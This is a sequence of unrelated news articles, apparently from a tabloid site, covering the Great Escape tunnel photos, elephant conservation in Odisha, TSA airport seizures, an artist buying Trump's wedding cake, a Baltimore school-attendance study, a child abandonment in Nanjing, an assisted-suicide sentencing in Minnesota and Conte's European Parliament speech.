Photos taken shortly after the escape attempt show German soldiers at the entrance and exit of the tunnel, which had been nick-named 'Harry'.

Others see Nazi guards demonstrating how a trolley system shifted soil in the tunnel, with wooden planks arranged to show how narrow it was.

The images have been published in a new book called 'Stalag Luft III: The German POW camp that inspired the Great Escape', released next month to coincide with the 75th anniversary of the incident.

It explores the history of the 'escape-proof' camp and the break-out, which was immortalised in a Hollywood film in 1963 starring Steve McQueen, James Garner, and Richard Attenborough.

'The Great Escape was a much more elaborate affair than escape attempts before it and its object was to get not just three men but 200 out of the camp,' author Charles Messenger explains.

Updates: Ingenious methods were employed to keep POWs updated on what was happening outside the fences. Here we see a radio receiver hidden in a cribbage board and sent to Stalag Luft III

Down the hatch: A photo taken by officials at the German camp show the inside of the narrow tunnel, named 'Harry', in 1944. Some 76 men made it out before the escape was rumbled by Nazi guards

Camp life: The main street of Stalag VIIIC the camp located 'next door' to Stalag Luft III. The 'Great Escape' was immortalised in the 1963 Steve McQueen film of the same name

Remembered: The fifty urns of those murdered by the Nazis after the Great Escape were transferred to the British military cemetery at Poznan after the war. Seen here are the graves of Flight Lieutenant Gordon Brettell, Squadron Leader Roger Bushell and Squadron Leader James Catanach

The entrance shaft is pictured with a ladder leading down the side (left). Another photo taken by German officials shows an 'air pump' - used to ventilate the tunnels - made from a kitbag, with the springs converted from chest expanders

'It was very much the brainchild of a man called 'Big X', Squadron Leader Roger Bushell, who masterminded the escape.

'Up until then, only one tunnel was being dug at a time so that all resources could be concentrated on it.

'When the Germans discovered it, it meant starting all over again. Bushell therefore reasoned that if a number of tunnels were simultaneously started and the Germans found one, they would relax their guard.'

Work initially started on three tunnels codenamed 'Tom', 'Dick' and 'Harry'. Cunning methods had to be devised to remove the soil from the tunnels without getting caught, and typically, soldiers would shake the dirt out of their trousers at various points around camp, earning themselves the nickname 'penguins'.

Although the three tunnel entrances were finished by the end of May, work on 'Harry' and 'Dick' stopped in June so that efforts could concentrate on 'Tom'. In September, 'Tom' was discovered by the Nazis.

The following year, in January 1944, work on 'Harry' resumed. By 25 March, the 335ft tunnel was ready. That moonless night 80 men climbed out of the escape shaft, shored up by bedboards of the camp's inmates.

Not all escape attempts worked. In one doomed bid, two RAF officers disguised themselves as German guards, with adapted greatcoats and wooden rifles. But German soldiers demonstrated in this photo how the greatcoats the Britons wore were shorter than the authentic Nazi versions

Close quarters: This undated photo shows a crowded barrack wash room at Stalag Luft III where 200 men would have to make do with just two toilets

Prison conditions: A room in one of the barracks at the POW camp, where much of the furniture apart from the beds was made by the prisoners themselves

Due to a miscalculation, the tunnel was several feet short and came up before the relative safety of the treeline, leaving the escapees with a heart-stopping dash into the dark forest ahead of them.

Four men were caught at the tunnel's mouth when the escape was spotted, 76 got away. Only three made it.

'At the exit end of Harry, the Germans had spotted what was happening and arrested three of the escapers on the spot,' continued Messenger.

'Of the other seventy-six, some were arrested close to the nearby town of Sagan, but others managed to get further afield before being caught.

All together: Unidentified POWs are seen in a crowded barrack room in this picture believed to have been taken at Stalag III during the Second World War

Lining up: The morning queue for hot water outside the cookhouse is seen in this photo from Stalag Luft III at an unknown date. It is not known if any of the men seen here were among those who were involved in the 'Great Escape'

Making do: Stalag Luft III prisoners are seen walking past a watchtower around the perimeter of the camp in the winter months to keep fit and stay warm

Fired: Pictured left is Colonel Friedrich von Lindeiner, Commandant of Stalag Luft III from May 1942 to March 1944, who was removed from command following the 'Great Escape'. Pictured right is the cover of the new book on the prison camp

'The truth was that the Germans realised very quickly that there had been a mass escape and a widespread alert was put out. Hitler soon got to hear of it and was furious.

'He initially wanted all those captured to be shot, but this was reduced to a list of fifty, including Roger Bushell, who was, in any event, a marked man.

'All of those who were to be murdered were handed over to the Gestapo and, wherever they were held, they were taken in cars on the pretext of being sent back to a camp.

'During the journey the car would stop and the prisoner would be told to get out to relieve himself. He would then be shot in the back of the head by one of the Gestapo men.'

'Stalag Luft III: The German POW camp that inspired the Great Escape', published by Pen and Sword, is due for release in March.Advertisement

Raja the orphan elephant bundles along the dirt track, his wispy coat of baby hair catching in the breeze and his trunk flicking up dust as he rushes for a daily bath and playtime with his new family.

His carefree joy at the wonders of life are obvious but the eight-month-old baby is already a survivor, a lucky escapee from a rising tide of persecution that is threatening the very existence of elephants in India.

He was separated from his herd as it was harried from its ancient travelling routes by villagers armed with makeshift fire bombs, klaxons, flaming torches, flashlights and firecrackers.

Raja is one of the lucky ones. He was rescued by villagers after becoming detached from his herd and is now being cared for at a rescue centre in a protected area in the Dhenkanal district. With playmates Katrin, ten, Chandu, eight, Uma, six, he has a new family and a safe future.

But an increasing number of elephant calves are becoming left alone and vulnerable on migratory routes. India's rapid population growth to 1.35 billion has fuelled an expansion of towns, villages and settlements turning the trails that have served India's elephants for generations and are imprinted on their souls into disputed territory.

These time-honoured routes are now criss-crossed with roads, canals, railway lines, uncovered wells and new settlements that provoke distressing and sometimes violent human-animal conflict.

Raja, an eight-month-old baby elephant, was taken in by a rescue centre after he became separated from his herd

Elephants in Odisha state in India are facing an increasing tide of persecution from humans that is threatening their very existence

Across the continent herds of elephants are forced to cross networks of roads, railways, low hanging power lines, open wells, mines and canals. It is treacherous and many do not survive

Urban changes disrupt the routes elephants have taken in search of food for centuries. Some have been hit by vehicles or electrocuted by power lines

Their homelands have become hostile environments. 121 wild elephants have been killed since May 2017 through contact with man and the urban infrastructure that is colonising the countryside as India charges towards being the most populous nation on earth within 25 years.

New power lines, hastily strung up to connect proliferating settlements, hang like limp garlands but their devastating impact hammered home one night in October when seven elephants - one pregnant and one a calf - were electrocuted by a low slung 11KV line as they crossed through paddy fields in Odisha, 250 miles south west of Kolkata. They were buried where they fell.

Their graveyard, a vast area of disturbed soil in the shadow of a coal fired power station and a lattice-work of electricity pylons, hums with the industry of thousands of flies.

There are around 50 elephant deaths recorded annually due to the conflict with humans but many more go unregistered

Raja now lives at a rescue centre in the Dhenkanal district with a new family of elephants including Katrin, 10, Chandu, eight, and Uma, six

Asia's elephants are now on the International Union for Conservation of Nature's Red List of endangered species as their habitats are diminishing through human colonisation

Raja is given a bath every day as elephants being big mammals need to cool off frequently. Or Elephant Family, whose joint Royal Presidents are Prince Charles and Duchess of Cornwall, works through volunteers who track abandoned calves that need to be rescued and cared for

Elephant Family - the charity that looks after Raja - has been funding programmes to mitigate human-elephant conflict in seven key districts of Odisha in India since 2011

'This is such a tragic scene but we fear it will be repeated if the plight of India's elephants is not recognised and a way of helping them live in harmony with man is developed,' said Vicky Flynn, of the Elephant Family charity, which is campaigning to protect the elephants and educate and empower local communities to not see them as a threat.

'There has been a campaign to correct these sagging power lines for more than two years but nothing has been done. It takes elephants to die to raise the issue and that is very sad and disturbing.

'The elephants are becoming trapped into a stressful existence in lands that cannot support them as this becomes the worst place in the world to be a wild elephant.'

Orphan elephants are likely to starve to death if they lose their mother and become separated from the herds.

Elephants' migratory routes now include roads, canals, railway lines, uncovered wells and new settlements that provoke distressing and sometimes violent human-animal conflict

Elephant Family has established nine elephant corridors to give safe passage to 11,500 animals so far, but it wants to go further

India is home to 27,000 of Asia's 47,000 elephants but their numbers have plunged by 90 per cent over the last century because of population growth and rising industrialisation leeching out into rural regions and fragmenting the landscapes where elephants roam.

The charity, whose joint Royal Presidents are Prince Charles and the Duchess of Cornwall, is running a comprehensive campaign to improve the survival prospects of Asia's elephants who are now on the International Union for Conservation of Nature's Red List of endangered species.

It has established nine elephant corridors to give safe passage to 11,500 animals but wants to create a network of 101 so all of India's elephants can follow old paths between feeding areas to fuel their voracious appetites - adults consume 50kgs of plant matter and 100 litres a day.

Those once isolated navigation systems are now on the doorsteps of towns bringing them into conflict with villagers who fear for their crops, homes and their lives, and the Daily Mail witnessed the friction between man and animal..

The charity hopes to create a network of 101 corridors so all of India's elephants can follow old paths between feeding areas

Some people directed harsh high-powered lights into elephants' eyes as they crossed the road, leaving the animals terrified

Currently forest rangers have to stop the traffic to prevent the potential of vehicles ploughing into the herd while elephants are crossing

Villagers armed with makeshift fire bombs, klaxons, flaming torches, flashlights and firecrackers disrupt elephants making their migratory journeys in search of food

The news that a herd of 45 elephants had been spotted traversing a sparsely forested hill brought out a boisterous crowd in the country region of Odisha. They came not to marvel but to menace the animals as they approached the line where a busy highway cut through the forest.

The heavy rustling of branches indicated the herd had paused to assess the jeopardy of crossing the road as darkness descended.

You can help support Elephant Family's work to protect Asia's elephants by donating to the Raja Appeal

The battle lines were drawn and the stand off was broken by a youth splitting from the crowd to run shouting and flashing a torch as the herd formed ranks behind its leader.

Harsh voices filled the night as others surged forward directing high powered lights into the eyes of the elephants as they peered through the tree line.

An elephant launched a mock charge to test the crowd but it was met by a defiant cacophony of noise and aggression.

Hastily lit fires sent choking smoke billowing across the road as the tension mounted. A female and her calf edged nervously forward, looking up and down the road but the angry mob scared them back.

Forest rangers had stopped the traffic to prevent the potential carnage of a truck running into the herd and tried to keep the villagers at a safe distance.

The elephants trumpeted and rumbled back at the crowd as they gathered courage and emerged from the trees, hustling across the road in single file, heads down, with the terrified calf tightly shadowed by two adult females.

For three minutes their resolute tread took them to the safety of the far side with the rear being brought up by a giant tusker which had been marshalling the herd and encouraging them on their way.

'This was not a one-off. The same herd and others like it will have to negotiate the same highway every day,' added Vicky Flynn, who observed the confrontation.

'And across Asia herds of elephants trapped by networks of roads, railways, low hanging power lines, open wells, mines and canals must run the same gauntlet to survive. Many don't make it.'

The death toll of both elephants and humans is growing due to the escalation of the conflict, fueled by India's expanding population

Around 50 elephant deaths are recorded every year because of the growing conflict with man but many more go unregistered.

Elephant Family, whose patrons include Goldie Hawn, Sir Tim Rice and Lord and Lady Bamford, has been funding programmes to mitigate human-elephant conflict in seven key districts of Odisha since 2011.

The area - which has linked forests covering almost the same size as Wales - is vital to the future of Asian elephants in India and the charity has brought in a range of initiatives to improve their chances of survival.

It has trained 80 groups in conflict prone villages to manage the danger to life and crops caused by elephants and to claim compensation when it does happen so that farming communities become more tolerant.

Its education and awareness programmes are also helping ease tension and support is being offered to build concrete covers for open wells that lead to the death of four elephants last year and to protect migratory routes where they cross new highways.

But the death toll is growing on both sides, leaving orphan elephants who starve to death if they lose their mother and become separated from the herds.

Raja was rescued, but numerous other orphaned elephants starve to death if they lose their mother and become separated from the herd

As human populations are growing, landscapes and habitats traditionally occupied by elephants are disappearing, leaving them vulnerable

At only eight-months-old Raja the elephant calf is recognisable by his wispy coat of baby hair. He is one of the lucky calves who was rescued after being separated from his herd. Others have not been so lucky

'Being in close proximity to them is humbling. Their gentleness is overwhelming,' added Vicky.

'Spending time with the orphans you realise how incredible elephants are and how, in a perfect world, they would be wild and free, roaming with their herds across richly forested landscapes they have enjoyed for millennia.

'Sadly, as human populations grow, those landscapes are disappearing. But, through carefully targetted conservation projects and education programmes that help people and elephants co-exist, there is hope for Asia's elephants and for every little Raja growing up in the wild.'The Transportation Security Administration has revealed the strangest objects travelers attempted to carry in their hand luggage in 2018.

TSA released a top 10 list Monday showing weird things their officers caught at security checkpoints around the United States and some items were more surprising than others.

Among the finds were what appeared to be a bomb at first look and seemingly a pair of grenades. Although they turned out to be fake, it's a wonder why people thought they'd easily clear security and leave their fellow passengers at ease before boarding a plane.

Someone even deemed it okay to carry finger blades on their trip.

No.1: Finger blades topped the TSA's list of strange items found at airport security in 2018

No.2: An inert mortar round was discovered in the cabin bag of a passenger last year in the US

In a social media video, TSA shared the discoveries with their followers and the company behind the 'grenades'  which are actually bottle openers  shared that they'd made the list before. They insisted the items aren't as terrifying as they look.

'Hey guys! Not proud we topped your list again but we promise, they are safe!!,' Bottle Breacher posted.

The company warns customers not to take them when traveling by air.

No. 3: A TSA officer is pictured with giant scissors that went through the X-ray last year

No. 4: They warned novelty grenades that are actually bottle openers could delay travel and scare passengers and plane staff. Fake explosives were found August 20 at Newark airport

Bottle Breacher warns customers not to take the fake grenades when traveling by air

'The grenades were 'dressed' for a formal event, in tuxedos and were accompanied by a large set of instructions to not pack them for a flight. But alas, this traveler ignored the instructions provided by the manufacturer and it resulted in the grenades being confiscated,' TSA pointed out about the August 20, 2018, discovery at Newark Liberty International Airport.

'You may think that it doesn't matter if novelty grenades are brought onto an airplane in a checked bag, but for starters, bringing them with you will trigger an alarm in the checked baggage room, resulting in the bag being opened. If brought to a checkpoint, it will delay not only you, but the others in line and your traveling companions.

'Even more important is that if someone displays them on an aircraft, the crew and other passengers could think that they are live grenades and cause a panic on a plane. Or, in another scenario, someone could pretend they are real in an attempt to make a threat aboard an aircraft. Don't be that guy.'

No.5: A fake bomb was found but TSA warned that things resembling explosives cause panic

No.6: An 'artfully concealed' knife in a baby carrier at New York's LaGuardia Airport on July 6

The faux explosives were numbers 4 and 5 on the rundown but some may disagree with the position considering other contenders.

At number 6, a child carrier with a kitchen knife concealed inside prompted TSA to joke about the Child's Play movies: 'Dear Chucky, please come back to the checkpoint. You forgot your baby carrier.'

The 'artfully concealed' discovery was made at New York's LaGuardia Airport on July 6, 2018.

TSA sarcastically commented in a press release: 'It could be that the baby took it from the kitchen drawer and folded it up into the bottom of the baby carrier. Or it could be that an adult did it. Your guess is as good as ours. All that TSA knows is that sharp kitchen carving knives have no place in the cabin of an airplane.'

No.7: Snakes on plane! One passenger tried to carry the creatures (left) into the cabin last year

In the rundown about odd finds, TSA warned 'switchblades can switch your flight status'

TSA showed a harpoon and snapped back in their video this week: 'Unless you're Aquaman, you don't need THIS on your flight. And if you're Aquaman, you don't need the flight!'

Behind that at number 7, it seemed someone wanted to recreate the Samuel L. Jackson movie Snakes on a Plane by really bringing the creatures with them.

TSA warned 'switchblades can switch your flight status' due to their number 8 find.

And apparently motion pictures influenced number 9 on the list too because a harpoon was spotted in a carry-on. TSA snapped back in their video this week: 'Unless you're Aquaman, you don't need THIS on your flight. And if you're Aquaman, you don't need the flight!'

No.10: TSA advised whoever intended to bring an ax into the cabin, it would do just fine in their checked baggage

They advised whoever intended to bring an ax into the cabin, it would do just fine in their checked baggage.

Despite the regular-sized scissors being a no-no, a TSA officer was pictured smiling with a giant pair that someone tried get away with carrying through scanners. It was the third item on their countdown of strange and dangerous objects that went through X-ray.

An inert mortar round was also discovered but fingers blades topped the list. They joked about the glove that wouldn't go amiss on horror film character Freddie Kruger: 'It's safe to return to Elm Street again we've got this.'

A 2018 TSA report released last Thursday noted a 7 percent increase in seizures from 2017 after 4,239 guns were taken at US airports last year. A whopping 86 per cent were loaded.

Most found with a gun claimed it was a mistake and majority of people were located in the South.

People ranged in age from their 30s to 50s and 63 percent were Caucasian.

Under federal law, attempting to bring a firearm through security can result in arrest or a TSA fine of $13,333 per violation.A man known as the 'pi**-artist photographer' is now the owner of a piece of Donald Trump's wedding cake.

Andres Serrano, who is known for using his own urine for his work, purchased the cake layer last week at an auction in Boston.

Serrano, 68, bought the chocolate truffle cake with gold flakes for $1,880.

The individual miniature cakes were served to guests in lieu of slices of Donald and Melania's $50,000 wedding cake which, due to its elaborate wire supports, made it impossible to serve to guests.

According to RR Auction, the 'sought-after souvenir wedding cake' measures approximately 3.25inches in diameter and three inches in height.

Andres Serrano, who is known as the 'piss-artist' is now the owner of a piece of President Donald Trump's wedding cake. Serrano purchased the cake (pictured) for $1,880 at an auction in Boston

Serrano (left with his wife, Irina) is now among several A-listers who got a slice of the cake, including Shaquille O'Neal, Heidi Klum, Anna Wintour, P. Diddy and Hillary Clinton

'This individual chocolate truffle cake with single sugar-spun buttercream rose and gold flakes was presented as a wedding favor to be taken home by one of the nearly 350 guests,' during Trump's lavish 2005 wedding to Melania at his Mar-a-Lago Club in Palm Beach, Florida.

Serrano is now among several A-listers who got a slice of the cake, including Shaquille O'Neal, Heidi Klum, Anna Wintour, P. Diddy and Hillary Clinton.

The auction site said the cake is still housed in its original off-white paper box, which is 'monogrammed in gilt, "M D T."'

'The box is in very good condition, with scattered stains and back of top cover cut along edges for a custom flap,' the auction site read.

The 14-year-old cake was inspired by the ceremonys actual seven-tier wedding cake, 'a $50,000 masterwork of bakers confectionary'.

The auction site said the cake is still housed in its original off-white paper box, which is 'monogrammed in gilt, "M D T."' The 14-year-old cake was inspired by the ceremonys actual seven-tier wedding cake, 'a $50,000 masterwork of bakers confectionary'

'This individual chocolate truffle cake with single sugar-spun buttercream rose and gold flakes was presented as a wedding favor to be taken home by one of the nearly 350 guests,' during Trump's lavish 2005 wedding to Melania (pictured in 2005) at his Mar-a-Lago Club in Florida

According to the auction site, the wedding cake was a 200-pound yellow sponge cake flavored with orange zest, filled with butter cream, soaked in Grand Marnier, and adorned with 2,000 individually constructed sugar-spun flowers.

The centerpiece cake was not served to guests due to the intricate wire infrastructure.

RR Auction set the minimum bid at $200. In 2017, the item was previously auctioned off by Julien's Auctions, which collected $2,240.

According to Vanity Fair, Serrano and his wife, Irina, picked up their winnings in person last week.

Serrano didn't reveal his exact plans nor did he say when the work of art will be revealed to the public.

'Ive got something on my mind and its much more than cake!' Serrano said.

In 2011, one of Serrano's controversial pieces, which showed a crucifix bathed in urine was vandalized in a gallery in southern France. Serrano's work was called the 'Piss Christ' (pictured) and was supposed to make a statement about the misuse of religion

Trump also posed for Serrano in the early 2000s as part of a series called 'America' (right). Celebrities including Snoop Dog, B.B, King, Yoko Ono, Anna Nicole Smith were also featured in portraits in the series

In 2011, one of Serrano's controversial pieces, which showed a crucifix bathed in urine was vandalized in a gallery in southern France.

At the time, 800 protesters held a demonstration against it.

Serrano's work was called the 'Piss Christ' and was supposed to make a statement about the misuse of religion.

But when the part taxpayer-funded 1987 piece - which has also been described as 'blasphemous' - first went on display in the US it was so controversial that it sparked a fierce debate about whether art should be publicly funded at all.

The work of art earned the photographer his epithet.

Trump also posed for Serrano in the early 2000s as part of a series called 'America'.

The series featured every day Americans, including postal workers, firefighters, housekeepers and officers.

Celebrities including Snoop Dog, B.B, King, Yoko Ono, Anna Nicole Smith and Trump were also featured in portraits in the series.Children who must travel through dangerous neighborhoods to get to school are more likely to miss classes  putting them at risk of falling behind and dropping out, a new study finds.

Students who commute through areas with twice the average crime rate were 6 percent more likely to miss school, according to the study by researchers at Johns Hopkins University in Baltimore, published Wednesday in the journal Sociological Science. The likelihood of missing classes increased proportionally in more dangerous neighborhoods.

'Not showing up for school has important academic consequences and students who must prioritize their own personal safety over attendance have a clear disadvantage,' said lead author Julia Burdick-Will, a Johns Hopkins sociologist.

Researchers said their study was the first to explore whether there is a connection between neighborhood violence and school attendance.

They evaluated the quickest and most efficient routes to school via public transportation for 4,200 ninth graders in Baltimore City public high schools. They then linked the streets along those pathways with crime data from the Baltimore City Police Department.

This Baltimore city map shows the number of violent crimes committed near transit stops around the city during the academic year of 2014-2015. It illustrates how widespread the problem of violence is in Baltimore - and how that could influence school attendance. The map was produced by lead study author Julia Burdick-Will using data from the Baltimore Police Department, the Maryland Transportation Administration, and the Baltimore City Public Schools

Burdick-Will told DailyMail.com that research focused on the city for several reasons. In addition to being home to Johns Hopkins, Baltimore has 'open choice,' a program that allows students to go to whatever school their parents choose - often leading to longer commutes.

As a result, the Baltimore students have their public transportation paid for through state funding. In addition, Baltimore City Public Schools had a rich set of data linking students' home addresses to attendance numbers, making the study possible, Burdick-Will said.

The city also had the worst homicide rate among the nation's 50 largest cities in 2017 and the second-highest violent crime rate overall, according to FBI data, the most recent available.

'Part of my motivation for this study  is trying to push people to not think of these things as separate,' she said. 'Our issues with crime and our issues with public schools are not unrelated.'

Prior studies, including those by Burdick-Will, have found that students exposed to violent crime end up having lower test scores and graduation rates compared to their peers in safer communities.

Chronic school absences have also been shown to have a correlation with lower achievement and higher drop-out rates.

At the same time, many families in violent and low-income communities are choosing to send their children to higher-performing schools that are often in far-flung neighborhoods.

However, many schools don't offer busing to students who are traveling long distances, leaving children to rely on public transportation with long commute times.

This map shows the number of students in transit (the blue-grey circles), local schools (black squares) and the rate of violent crimes (color coded) around the city of Baltimore. It illustrates where high rates of crime are located and shows that many students must travel through those risky neighborhoods to get to school. The map was produced by lead study author Julia Burdick-Will using data from the Baltimore Police Department, the Maryland Transportation Administration, and the Baltimore City Public Schools

Just getting to school each day can require long, difficult journeys through dangerous streets, Burdick-Will said.

The students most likely to miss school throughout the year were those who had to walk or take a bus in areas with higher violent crime rates.

In the case of Baltimore, the dangerous blocks weren't contained in one neighborhood, but spread throughout the city, creating multiple pockets where students could face obstacles getting to school.

Researchers found that students, on average, went to school in a neighborhood with 87 violent crimes took place during the school year, but lived in areas where 95 violent crimes happened during the same period.

They also found that students pass streets on public transit where 41 violent crimes occurred and passed streets on foot where 27 such crimes had been reported.

Researchers said students are stressed and traumatized by the violence in their communities  and they're missing school because of it.

'What if the closest bus stop isn't safe and you need a ride to a farther stop? Then what if that ride falls through? Do you risk it or walk really far or do you just not go to school?' Burdick-Wills said. 'Missing an extra day of school a year doesn't sound like a lot but these things add up.'Police in east China are tracking down a man suspected of abandoning a little girl on the street.

Shocking footage on Monday shows the three-year-old girl wandering at a busy crossing in Nanjing, Jiangu province as multiple vehicles narrowly avoid hitting her.

Officers took the child to a police station after concerned passers-by alerted authorities, Chinese media reported.

Shocking footage on Monday shows the three-year-old girl wandering alone at a busy crossing in Nanjing, Jiangu province as multiple vehicles narrowly avoid hitting her

After looking at surveillance footage, police learned that the girl was abandoned by a man three hours earlier at about 6am, according to video news site Pear

After looking at surveillance footage, police learned that the girl was abandoned by a man three hours earlier at about 6am, according to video news site Pear.

'A middle-aged man brought the girl from the train station and then left her behind on the street,' an officer told reporters. It is unclear if the man is the girl's father.

The man intentionally walked away quickly so that the girl couldn't keep up with him, the officer added.

Heart-breaking footage shows the little girl huddling behind the man, trying her best to catch up with him before he finally disappeared from sight

The child ended up walking across the busy junction and was brought to safety by pensioners

Heart-breaking footage shows the little girl huddling behind the man, trying her best to catch up with him before he finally disappeared from sight.

The lost child then ended up walking across the busy intersection and was brought to safety by several pensioners. Fortunately she is unhurt.

Police officers are currently looking for the girl's parents, who could be arrested for child abandonment.

'We hope this man can come forward and turn himself in,' he added.

Officers took the child to a police station after concerned passers-by alerted authorities

Just two weeks ago, a woman in Harbin, Heilongjiang abandoned a three-month-old baby girl in an alleyway behind a shopping centre.

On Christmas Day last year, a two-month-old baby boy was abandoned by his mother in a park in the same province.

The mother, surnamed Zhang, told reporters that she was disappointed that her third child turned out to be a son as well and the family could not afford to raise him.A Minnesota widower who helped his chronically ill wife kill herself has been handed 90 days in the workhouse after getting the support of his mother-in-law in court.

Thomas James Houck, 61, pleaded guilty to aiding a suicide after the death of Linda Conrad, 59, last August. He helped her use nitrogen gas and a plastic bag to kill herself at their Eden Prairie home.

But Hennepin County court heard from his mother-in-law, 88-year-old Irene Rantala, who called him a 'sweet and caring soul'.

In a letter to the judge she wrote: 'I feel great sadness that Thom is facing punishment for helping Linda end her suffering regardless of the consequences to himself.

'No one could have loved and supported Linda any more than Thom did. Thom is a sweet and caring soul. I love Thom, and I want nothing but the very best for him.'

And a close friend of the couple, Karen Ziegelman, said: 'I hope you understand that Linda was eventually going to take her life one way or another. I believe he did what he felt he had to do to help end her suffering.

'Nothing is going to bring Linda back, and she would be devastated to know what Thom is going through.'

Scroll down for video.

Thomas James Houck, 61, left, pleaded guilty to aiding a suicide after the death of Linda Conrad, 59, right, last August after she said she needed 'a way out'

Even Linda's first husband Tim, who said she suffered from migraines, stomach pains and depression, offered his support to Houck.

In a letter to the judge he wrote: 'She wanted a way to get out of her body. I believe Thom deserves praise for a job well done and nothing less.'

In an earlier interview he told 5 EYEWITNESS News: 'Unfortunately it kept getting worse and, especially over the last few months, it got extremely bad. Something changed where all the sudden she had no appetite anymore and her pain got more intense.

'Tom has just been the most loving, wonderful, supportive husband you can ever imagine. He's done everything for her throughout these 12 years of their marriage. To see him being charged with anything is just unbelievable.'

Tim, who remained closed friends with Linda after their divorce in 2006, claimed in an interview with Minneapolis Star Tribune that doctors refused to prescribe her pain medications because of the ongoing opioid crisis, and said she had not eaten in three weeks leading up to her death.

His mother-in-law called Houck, right, a 'caring soul' after the death of Linda, left

Houck helped Conrad to kill herself at their Eden Prairie home, pictured

Houck initially told police he helped his wife of 12 years research suicide methods and accompanied her to the store to buy supplies, according to the complaint.

He later allegedly confessed that he not only helped Conrad create a contraption to end her life based on information the couple found online, but also turned on the nitrogen gas tank.

County Attorney Mike Freeman told The Star Tribune the case 'was challenging in large part because we have very little experience with these types of cases in Hennepin County and throughout Minnesota'.

Linda's first husband Tim, pictured, who said she suffered from migraines, stomach pains and depression, offered his support to Houck

He added: 'We sought the strongest penalty we could. The judge gave him a lighter sentence probably because both the mother and ex-husband of the victim sent letters of support on Mr. Houck's behalf.'

Defense attorney Earl Gray added: 'One of the reasons for the disposition is that the mother of his wife sent a letter (to the court) in support of Thomas.'

In a handwritten suicide note, found by police, Conrad, who neighbor had not seen leave her house in four year, said she couldn't endure any more pain and needed 'a way out'.

The sentence handed down by Hennepin County District Judge Kathryn Quaintance also includes three years' probation, 90 days of community service and $1,078 in fines and fees.

Five days were taken off Houck's stint at Hennepin County Workhouse for the time he spent in jail after his arrest and his conviction will be reduced to a misdemeanor on his otherwise clean criminal history if he abides by the terms of his probation.

The workhouse is said to provide short-term custody and programming for adult offenders convicted of felony, gross misdemeanor, and misdemeanor offenses. Both men and women can be held there for up to one year.

Minnesota law prohibits assisted suicide and statute calls for up to 15 years in prison upon conviction but there is no guideline for punishment.

In 2016, state legislators introduced a bill called the Compassionate Care Act to legalize assisted suicide, but it was later withdrawn by its sponsor.

So far, the states of Oregon, Washington, Montana, Colorado, California, Vermont, as well as Washington, DC, have legalized physician-assisted suicide.

For confidential support call the National Suicide Prevention Line on 1-800-273-8255(ANSA) - Strasbourg, February 12 - The European Parliament gave a 'fail' mark to Premier Giuseppe Conte's maiden speech to the Strasbourg assembly on Tuesday with one caucus leader calling him a "puppet" of his deputy premiers, Luigi Di Maio and Matteo salvini.

"I wonder how much longer you will be the puppet moved by Salvini and Di Maio," Liberals leader Guy Verhofstadt asked Conte in the EP plenary assembly.

Verhofstadt also said Di Maio had "abused" his office by meeting with French Yellow Vests protesters last week.

Verhofstadt told Conte: "I'll speak in Italian, I'm in love with Italy, for me it is a country, it is an entire civilisation, Italy is where our European civilisation was born...

"That is why it hurts me to see Italy's political degeneration, which did not start yesterday, or a year ago, but 20 years ago. "This beautiful country has become, from a convinced defender of Europe, a laggard in the Union".

European Socialists and Democrats caucus leader Udo Bullmann said "I am very saddened by the senseless escalation between Italy and France. In contexts like this no one comes out a winner, it is a classic lose-lose situation" after France recalled its ambassador due to "unprecedented" attacks and DI Maio's meeting with the Yellow Vests.

Bullmann said on his recent visit to Catania on the Sea Watch migrant standoff, and on Conte's speech to the EP, that "this is not the Italy that we know, the Italy we know is that of (European founding father Altiero) Spinelli".

He said "your government must stop showing us this inhuman face (on migrants)".

European People's Party (EPP) leader Manfred Weber commented on Conte's speech by saying "on Venezuela Guaido has asked Italy to recognise him, I think you should answer Guaido if you think there should be a common European approach".

The barbs brought a sharp response from League leader Salvini.

"That some European bureaucrats, accomplices to the disaster of these years, dare to insult the Italian premier, government and people is really disgraceful", he said.

"The European elites (are) against the choices of citizens.

Get your boxes ready, on May 26 (in the European elections) the citizens will finally send these people home".

Premier Conte told the parliament that Europe had not yet been able to build a European people and that European politics lost touch with people after the economic crisis of 2007-8.

He added that the Dublin migrant rule reform was unsustainable and that a single EU seat at the United Nations Security Council was needed.

Conte told the Strasbourg parliament that the construction of a 'European people' has seen "significant moments of advancement" but "we still haven't succeeded in really becoming a 'people', we haven't had the courage to build an inclusive model that, realistically, beyond all rhetoric, could favour the creation of a European demos." "European politics, faced with an unprecedented economic crisis, withdrew in fear inside the cold grammar of procedures, ending up by progressively losing contact with its people and making ever more unbridgeable the distance, which is not only geographical, between Brussels and the continent's many peripheries," the Italian premier said. "Politics gave up its legitimating and representative function, appearing - in the eyes of citizens - distant and 'oligarchic'." Conte added that "no European Member State can play a significant role on its own. "Hence the hope that a united European voice may find space also at the UN Security Council.

"It is a battle, this one, on which the European Union must move in a coordinated way, it must speak with a single voice. "The European Union must be able to speak to the world. A strong, ambitious and coherent Europe is above all necessary to improve its capacity of talking to the United States".

Conte said that "faced with the massacre of human lives we must all together wage a fight on traffickers without quarter. let us stop remaining divided, giving in to nationalist or regionalist logic, and let us try to put into practice an authentic solidarity. "The proposal to reform the Dublin Regulation, approved in November 2017, is not sustainable in the present EU. There prevails, unfortunately, the unwillingness of the majority of States to participate in compulsory (quotas)." Conte added that "the inadequate and insufficient solidarity inside the EU also explains why Europe is struggling and is late on being fairer and more social. "The new European legislature must pursue with greater decision and as an urgent priority the fight against unemployment and support for growth...The EU's economic governance must take account of the need to balance growth and stability". European Commission Vice President Jyrki Katainen reacted to Conte's speech by saying "Europe proceeds and gives its best when Italy and the Italian people are at the centre, this must represent a guide for us. "In order to build a future of European success we need a strong Italy at its centre, we must build together our future in unity and solidarity working always with each other and not against each other, speaking together". European Parliament President Antonio Tajani responded to Conte's saying the Dublin Regulation reform is unsustainable by saying "we ask you for a further commitment in the next meetings of the Council so that the proposals of the EU parliament are accepted, perhaps by finding some compromise on the Dublin reform." He stressed the importance of involving member States "in the choices in favour of strengthening the Parliament's powers". In his reply, on migrants, Conte said "Italy has decided to apply a line of greater rigour, we say so with our heads held high and we affirm it with force, because we have concluded that we must not banalise and this is the only effective road to combat human trafficking".

Conte said that "a safe port means only that the disembarkation is in Italy, this is not OK. All must take part in this mechanism of solidarity. Even countries that say they are willing to take part (in this mechanism) are only doing so with those who are entitled to humanitarian protection. Economic migrants remain where they disembark".

Cone also said Italy is not isolated on Venezuela.

Italy, he said, "is not isolated, it contributed to the communique of the High Commissioner and the entire EU on January 26 and it was recognised that my intervention was decisive".

He said "many people want to anticipate history (but) prudence would be necessary. We don't know what the evolution of the crisis will be, Italy has clear ideas and is not alone".

